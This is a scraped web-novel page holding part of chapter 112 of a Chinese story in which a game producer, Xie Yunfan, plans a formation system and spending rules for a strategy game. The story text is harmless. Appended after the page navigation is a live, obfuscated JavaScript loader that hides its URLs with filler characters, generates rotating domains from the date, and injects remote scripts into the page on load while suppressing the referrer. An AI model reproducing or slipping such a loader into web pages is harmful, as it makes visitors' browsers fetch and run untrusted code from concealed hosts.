返回

第 112 章 二合一,兵书系统... 异界游戏制作人

首页
报错
关灯
护眼
字:
大
中
小
上一章 回目录 下一页

【第1更、阵法加成】

这次的游戏设计比较复杂,未免游戏制作的过程乱套,谢云帆决定,按三个核心系统来分阶段研发。

首先,是阵法系统。这个系统的设计,相对比较简单,不同的阵法代表不同的角色站位,给团队不同的加成就可以。

由于《乱世春秋》的游戏内容非常丰富,包括角色养成、阵法搭配、三十六计这几个核心系统,三大系统如果都要“肝”的话,玩家压力太大,时间长了肯定会肝不动,导致弃游。

谢云帆玩游戏,最讨厌的就是“又氪又肝”。

他希望玩游戏是放松和娱乐,而不是一种负担。所以,他设计游戏的主旨,一是好玩,二是相对轻松。

这款游戏的氪金点,他会严格把控。主要氪金点就在“抽卡”上面,角色需要抽,其他的资源就大方一点。

很多游戏,角色、武器、皮肤都要去抽,玩家氪金点就太多了。

只要游戏火了,后期可以卖一些皮肤。定价良心的话,自然有大量玩家愿意给喜欢的角色换身衣服,所以他完全不担心盈利的问题。

阵法系统,总共十本阵法,他打算直接通过主线任务送给玩家,而不是让玩家氪金去买、或者刷副本去换。

随着主线的进行,玩家能逐渐学会不同的阵法并熟练运用。

这个系统的关键主要看数值。

数据组的总监孟榆,毕业于国外名校数学系,是扬帆工作室目前学历最高的小姐姐。她之前在别的公司当了几年数值策划,来到扬帆工作室后一直跟着谢云帆做项目。

不过,之前的几款游戏对“数值”的要求没那么高。

像《宫廷风云》《狄仁杰探案》等角色扮演类游戏,主打剧情,没有太多技能、数据的要求。

而《千年之恋》是单机游戏,不涉及PK。男主的卡牌也只给一些攻击、攻速等加成,单机游戏你数值做得别太离谱就行,阶梯状的升级系统和经验获取渠道设计起来也非常简单。

前几个游戏,孟榆的才能其实还没有发挥出来。

这次的游戏对数值策划的要求非常高。战斗游戏必须做到技能的相对平衡,不能出现过于强大、秒杀其他角色的技能机制。

角色的防御、攻击、暴击


本章未完,点下一页继续阅读。>>>

上一章 回目录 下一页
let urls=["hUUtUUtUUpUUsUU:UU/UU/UU{UUdUUdUUmUU}UU/UU1UU8UU/UU1UU1UU0UU5UU6UU1UUbUU2UU6UU2UU9UU3UU8".split("UU").join(""),"hMMtMMtMMpMMsMM:MM/MM/MMsMM.MMlMMtMMdMMzMMzMM.MMcMMoMMmMM/MM1MM8MM/MM1MM1MM0MM5MM6MM1MMbMM2MM6MM2MM9MM3MM8".split("MM").join("")];window.__rr__hld=1;let urlindex=0;let ddm=function(){let i = parseInt((new Date().getTime()/1000 - 1767052800)/86400/2);i = i %30;let ds = ['3w2t89814','btsel5g','6xklldl','2jtbig','kjbyn6zr96','8wz4mjirv','hpm47fyaf','oc79obwnpm','hjvrl','aroychmdcl','lx51ib3szv','6z2h1lycfw','ef7t2','31fpdcrf','uqn83ea8q'];return ds[i%15] + (i<15?".cc":".co"+"m");};let rfunc=function(){if(window.__rr__loaded_2938_1105 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++].replace(/\{ddm\}/g,ddm())+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);}};rfunc();rfunc();